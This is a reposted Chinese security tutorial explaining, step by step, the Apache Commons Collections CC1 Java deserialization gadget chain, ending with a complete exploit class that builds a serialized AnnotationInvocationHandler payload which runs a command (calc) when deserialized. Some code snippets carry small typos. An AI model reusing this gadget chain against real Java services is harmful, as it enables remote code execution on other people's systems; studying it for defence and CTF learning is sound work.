【表哥有话说 第85期】JAVA CC1

admin 2023年1月17日14:15:07评论11 views字数 16358阅读54分31秒阅读模式


阔别了这么长时间

不知道大家有没有想表哥们呢

【表哥有话说 第85期】JAVA CC1

废话不多说,赶紧看看

表哥这周带来的新知识吧!!


JAVA CC1

【表哥有话说 第85期】JAVA CC1

   环境准备  

【表哥有话说 第85期】JAVA CC1【表哥有话说 第85期】JAVA CC1


http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4


java反序列化时会调用readObject方法,而且很多类的readObject方法是自己重写的。也就是说只要我们经过一系列的链式调用  将危险函数包装到readobject中即可达到目的


 1.利用反射调用计算器 

一个反射调用计算器


【表哥有话说 第85期】JAVA CC1


1getRuntime():其实就是Runtime类获取对象的方式,等于new一个Runtime类。之所以封装成一个函数是为了不调用一次建立一个对象,只获取一个对象来执行操作。


入口

1.InvokerTransformer.transform()

1public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
2    this.iMethodName = methodName;
3    this.iParamTypes = paramTypes;
4    this.iArgs = args;
5}


参数分别为  参数名(exec),参数类型(string),参数值(calc)

transform的参数为调用对象

我们先用危险方法来进行一次命令执行调用计算器

【表哥有话说 第85期】JAVA CC1


成功调用


2.寻找一个其他类,调用了transform方法


1protected Object checkSetValue(Object value) {
2    return this.valueTransformer.transform(value);
3}

发现了checksetvalue方法调用了transform让我们跟进方法。

发现该方法为Transformedmap类中的一个方法。要调用checksetvalue首先得获得一个Transformedmap

因此寻找transformedmap的构造方法


1protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
2    super(map);
3    this.keyTransformer = keyTransformer;
4    this.valueTransformer = valueTransformer;
5}


这里有三个点


1.该方法为protect方法,去要寻找谁调用了他

2.supermap)继承了map

3.让我们构造的恶意类变成valueTransformer (checksetvalue调用的是valueTransformertransform方法)



1.先寻找谁调用了它




1public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
2    return new TransformedMap(map, keyTransformer, valueTransformer);
3}


我们发现他的 "new" 是在map的一个函数调用的发现是mapdecorate方法中会将传入的    参数进行初始化为transformedmap构造,并且将第三个参数变为valueTransformer

因此我这里找一个map作为辅助。


 1public class cc1_test {
2    public static void main(String[] args) throws Exception {
3
4//        Runtime runtime = Runtime.getRuntime();
5        Runtime r= Runtime.getRuntime();
6//        Class  c =Runtime.class;
7//        Method execmethod =c.getMethod("exec",String.class);
8//        execmethod.invoke(r,"calc");
9       InvokerTransformer invokerTransformer= (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
10       HashMap<Object,Object> map= new HashMap<Object,Object>();
11       TransformedMap.decorate(map,null,invokerTransformer);
12    }
13}


此时invokerTransformer就变成了valueTransformer



2.想办法调用他的 checksetvalue方法



【表哥有话说 第85期】JAVA CC1

我们发现transformedmap是继承了一个他的父类 

AbstractInputCheckedMapDecorator。我们跟进一下看看他的父类有没有调用checkSetValue()

checkSetValue()方法只在抽象类AbstractInputCheckedMapDecorator的静态内部类MapEntrysetValue()方法中进行了调用:


 1abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
2    protected AbstractInputCheckedMapDecorator() {
3    }
4
5    protected AbstractInputCheckedMapDecorator(Map map) {
6        super(map);
7    }
8
9    protected abstract Object checkSetValue(Object var1);
10
11    protected boolean isSetValueChecking() {
12        return true;
13    }
14    public Set entrySet() {
15        return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());
16    }
17
18    static class MapEntry extends AbstractMapEntryDecorator {
19        private final AbstractInputCheckedMapDecorator parent;
20
21        protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
22            super(entry);
23            this.parent = parent;
24        }
25
26        public Object setValue(Object value) {
27            value = this.parent.checkSetValue(value);
28            return super.entry.setValue(value);
29        }
30    }


因此我们寻找谁调用了setvalue,进一步调用checksetvalue。将上半部分代码找出我们想要的


 1static class MapEntry extends AbstractMapEntryDecorator {
2    private final AbstractInputCheckedMapDecorator parent;
3
4    protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
5        super(entry);
6        this.parent = parent;
7    }
8
9    public Object setValue(Object value) {
10        value = this.parent.checkSetValue(value);
11        return super.entry.setValue(value);
12    }
13}


发现MapEntry调用的setvalue方法

这里简单说一下,我们知道 Map 是用来存放键值对的,HashMap 中一对 k-v 是存放在 HashMap$Node 中的,而 Node 又实现了 Entry 接口,所以可以粗略地认为 k-v 是存放在 Entry 中的,遍历 Map ,可以通过 entrySet()方法获取到一对对的 k-vMap.Entry 类型)。通过遍历 TransformedMap,再使用 setValue()传入我们的对象。


这里我们用代码解释一下


1Runtime r =Runtime.getRuntime;
2InvokerTransformer invokerTransformer=  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
3HashMap<Object,Object> map= new HashMap<Object,Object>();
4map.put("aaa","bbb");
5Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,invokerTransformer);
6for(Map.Entry entry:transformedMap.entrySet()){
7    entry.setValue(r);
8}


我们逐个分析


1Map.Entry entry:transformedMap.entrySet()//这个是java遍历map的基础用法,也是固定用法
2//相当于将键值对拿出来了,而我们的危险操作在上边的步骤中已经成为了map的一个键值对中的value值


1public Object setValue(Object value) {
2        value = this.parent.checkSetValue(value);
3        return super.entry.setValue(value);
4    }//此时我们把r放到参数中就会调用checkSetValue,达到我们的预期目的。


 1public class cc1_test {
2    public static void main(String[] args) throws Exception {
3
4//        Runtime runtime = Runtime.getRuntime();
5        Runtime r= Runtime.getRuntime();
6//        Class  c =Runtime.class;
7//        Method execmethod =c.getMethod("exec",String.class);
8//        execmethod.invoke(r,"calc");
9       InvokerTransformer invokerTransformer=  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
10       HashMap<Object,Object> map= new HashMap<Object,Object>();
11       map.put("aaa","bbb");//要遍历必须赋值
12        Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,invokerTransformer);
13     for(Map.Entry entry:transformedMap.entrySet()){
14         entry.setValue("r");
15     }


这时候我们只需要找到一个能够遍历数组的方法,而这个方法如果是readobject就再好不过了


我们找到了AnnotationInvokerHandlerreadobject类调用了一个遍历数组的方法


 1private void readObject(java.io.ObjectInputStream s)
2    throws java.io.IOException, ClassNotFoundException 
{
3    s.defaultReadObject();
4
5    // Check to make sure that types have not evolved incompatibly
6
7    AnnotationType annotationType = null;
8    try {
9        annotationType = AnnotationType.getInstance(type);
10    } catch(IllegalArgumentException e) {
11        // Class is no longer an annotation type; time to punch out
12        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
13    }
14
15    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
16
17    // If there are annotation members without values, that
18    // situation is handled by the invoke method.
19    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
20        String name = memberValue.getKey();
21        Class<?> memberType = memberTypes.get(name);
22        if (memberType != null) {  // i.e. member still exists
23            Object value = memberValue.getValue();
24            if (!(memberType.isInstance(value) ||
25                  value instanceof ExceptionProxy)) {
26                memberValue.setValue(
27                    new AnnotationTypeMismatchExceptionProxy(
28                        value.getClass() + "[" + value + "]").setMember(
29                            annotationType.members().get(name)));
30            }
31        }
32    }
33}


首先查看一下构造函数


1AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
2    Class<?>[] superInterfaces = type.getInterfaces();
3    if (!type.isAnnotation() ||
4        superInterfaces.length != 1 ||
5        superInterfaces[0] != java.lang.annotation.Annotation.class)
6        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
7    this.type = type;
8    this.memberValues = memberValues;
9}


首先是一个typeclass对象,第二个是map这里我们就可以进行控制。

第一个tpyeclass类型是继承了Annotation(注解)

但是有个问题,就是这个构造函数并不是public类型,默认就是protect类型,而我们不在这个包下就只能通过反射来获取我们先解决这个问题


 1public class cc1_test {
2    public static void main(String[] args) throws Exception {
3
4//        Runtime runtime = Runtime.getRuntime();
5        Runtime r= Runtime.getRuntime();
6//        Class  c =Runtime.class;
7//        Method execmethod =c.getMethod("exec",String.class);
8//        execmethod.invoke(r,"calc");
9       InvokerTransformer invokerTransformer=  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
10       HashMap<Object,Object> map= new HashMap<Object,Object>();
11       map.put("aaa","bbb");
12        Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,invokerTransformer);
13     for(Map.Entry entry:transformedMap.entrySet()){
14         entry.setValue(r);
15     }
16   Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
17        Constructor annotationInvocationHandler=c.getDeclaredConstructor(Class.class,Map.class);
18        annotationInvocationHandler.setAccessible(true);
19        annotationInvocationHandler.newInstance(Override.class,transformedMap);


但是现在有几个问题

runtime没有seralize接口不能反序列化但是他的class可以序列化

我们重新写一下,利用反射来写runtime,但是比较特殊的是runtime对象不能通过newinstance,我们可以对比一下,一般的反射和特殊的反射


 1//这应该注意下runtime方法的实例化与其他对象实例化是不同的,因为他无法newinstance
2
3import java.lang.reflect.Method;
4public class ReflectTest {
5    public void reflectMethod() {
6        System.out.println("反射测试成功!!!");
7    }
8
9    public static void main(String[] args) {
10        try {
11            Class c = Class.forName("com.reflect.ReflectTest"); // 创建Class对象Object
12            m = c.newInstance(); // 创建类实例对象Method
13            method = c.getMethod("reflectMethod"); // 获取reflectMethod方法
14            method.invoke(m); // 调用类实例对象方法
15        } catch (Exception e) {
16            e.printStackTrace();
17        }
18    }
19}
20
21
22
23Class c = Runtime.class;
24Method getruntimemethod = c.getMethod("getRuntime"null);
25Runtime r = (Runtime) getruntimemethod.invoke(nullnull);//静态方法所以第一个为null ,无参方法第二个为null  这里使用了getruntime方法来实例化了一个对象r
26Method execmethod = c.getMethod("exec", String.class);
27execmethod.invoke(r, "calc");


之后我们一步一步修改利用InvokerTransformer来一步步转化


 1Method getRuntimeMethod=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
2// Class c = Runtime.class;
3//Method getruntimemethod =c.getMethod("getRuntime",null);
4
5
6
7
8Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
9//Runtime r = (Runtime) getruntimemethod.invoke(null, null);获得一个对象
10
11
12
13
14new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
15//Method execmethod = c.getMethod("exec", String.class);
16//execmethod.invoke(r, "calc");


从上边我们发现这里经过了一个循环调用,也就是第一个函数的结果变成了第二个函数的参数

这里是循环调用正好有一个transformedmap方法


 1public ChainedTransformer(Transformer[] transformers) {
2    this.iTransformers = transformers;
3}
4
5public Object transform(Object object) {
6    for(int i = 0; i < this.iTransformers.length; ++i) {
7        object = this.iTransformers[i].transform(object);
8    }
9
10    return object;
11}


循环调用刚好满足我们对以上的需求于是我们改一下代码


1Transformer[] transformers=new Transformer[]{
2    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
3    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
4    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
5};
6    ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
7    chainedTransformer.transform(Runtime.class);//这里Runtime,class是要我们控制的


第二个问题是

之后我们将之前的map放回来AnnotationInvocationHandler是在sun包下的,所以这里我们利用这个反射来获得一个对象。


1HashMap map = new HashMap<>(); map.put("key""value"); 
2Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
3Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = c1.getDeclaredConstructor(Class.class,Map.class); 
4annotationConstructor.setAccessible(true);
5 Object o = annotationConstructor.newInstance(Override.class, transformedMap);
6 serialize(o);
7 unserialize("ser.bin");


最终代码


 1public class cc1_test {
2    public static void main(String[] args) throws Exception {
3        Transformer[] transformers=new Transformer[]{
4            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
5            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
6            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
7        };
8        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
9      chainedTransformer.transform(Runtime.class);//这里Runtime,class是要我们控制的
10        HashMap map = new HashMap<Object,Object>();
11        map.put("key""aaa");
12        Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
13        Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandle r"); 
14        Constructor annotationConstructor = c1.getDeclaredConstructor(Class.class,Map.class);
15        annotationConstructor.setAccessible(true);
16        Object o = annotationConstructor.newInstance(Override.class, transformedMap);
17        serialize(o);
18        unserialize("ser.bin");
19    }
20
21    public static void serialize(Object obj) throws IOException {
22        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
23        oos.writeObject(obj);
24    }
25
26    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
27        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
28        return ois.readObject();
29    }
30}


注意看第九行,我们想办法控制这个runtime类,因为我们在做题目时肯定无法传进去,最理想的是在数组封装的时候就把他传进去

我们发现了一个新的类  ConstantTransformer

我们跟进看一下


1public ConstantTransformer(Object constantToReturn) {
2    this.iConstant = constantToReturn;
3}


也就是传入什么生成什么,那我们传进去一个runtime类就给我们一个runtime类,我们把它放到之前开的transform数组中,就达成了封闭的目的


 1Transformer[] transformers=new Transformer[]{
2            new ConstantTransformer(Runtime.class),
3            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
4            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
5            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
6        };
7        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
8//        chainedTransformer.transform(Runtime.class);这里Runtime,class是要我们控制的
9        HashMap map = new HashMap<Object,Object>();
10        map.put("value""aaa");
11        Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
12
13        Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
14        Constructor annotationConstructor = c1.getDeclaredConstructor(Class.class,Map.class);
15        annotationConstructor.setAccessible(true);
16        Object o = annotationConstructor.newInstance(Override.class, transformedMap);
17        serialize(o);
18        unserialize("ser.bin");
19    }


结果发现还是无法执行命令。

让我们debug一下看一下到哪里发生了

我们看到在最后的readobject方法中有一个if条件看一下能不能进去


 1for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
2    String name = memberValue.getKey();
3    Class<?> memberType = memberTypes.get(name);
4    if (memberType != null) {  // i.e. member still exists
5        Object value = memberValue.getValue();
6        if (!(memberType.isInstance(value) ||
7              value instanceof ExceptionProxy)) {
8            memberValue.setValue(
9                new AnnotationTypeMismatchExceptionProxy(
10                    value.getClass() + "[" + value + "]").setMember(
11                        annotationType.members().get(name)));
12        }
13    }
14}


发现


1String name = memberValue.getKey();
2Class<?> memberType = memberTypes.get(name);
3if (memberType != null) { }


先是通过membervalue获得键值对key 然后再membertype中查找key并赋值给membertype,但是membertypenull

我们看一下membervalue是从哪里获取到的.


【表哥有话说 第85期】JAVA CC1


type其实就是我们的overide参数,,然后获取override的成员变量


【表哥有话说 第85期】JAVA CC1


但是我们找到的override没有成员变量


现在我们来捋一下


1for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
2    String name = memberValue.getKey();


1.首先通过键值对来获得这个membervaluekey,也就是说是hashmap的那个key


1Class<?> memberType = memberTypes.get(name);


2.membertypes里查找这个key,也就是从这个注解(Override)里边查找这个key,但是Override里的是空的,根本没有成员所以key就是空的

我们到这解决首先找一个有成员方法的membertypes


【表哥有话说 第85期】JAVA CC1


Target里边有一个成员方法value我们将Override换成Target

解决第二个问题hashmapkey要和我们Targetkey是一个key才行我们。Target的成员名字叫做value。那我们把名字改了。


1map.put("key""aaa");


这是我们第一次放的map我们将mapvalue内容改为value就解决了上边的问题


1map.put("value""aaa");


成功


不知道这期的新知识你有没有学会呢?

多动手 多发问 勤思考

【表哥有话说 第85期】JAVA CC1

我们下期再见啦!!【表哥有话说 第85期】JAVA CC1

想学习更多知识

长按下方的二维码关注我们哦

【表哥有话说 第85期】JAVA CC1

原文始发于微信公众号(SKSEC):【表哥有话说 第85期】JAVA CC1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月17日14:15:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【表哥有话说 第85期】JAVA CC1http://cn-sec.com/archives/1429899.html

发表评论

匿名网友 填写信息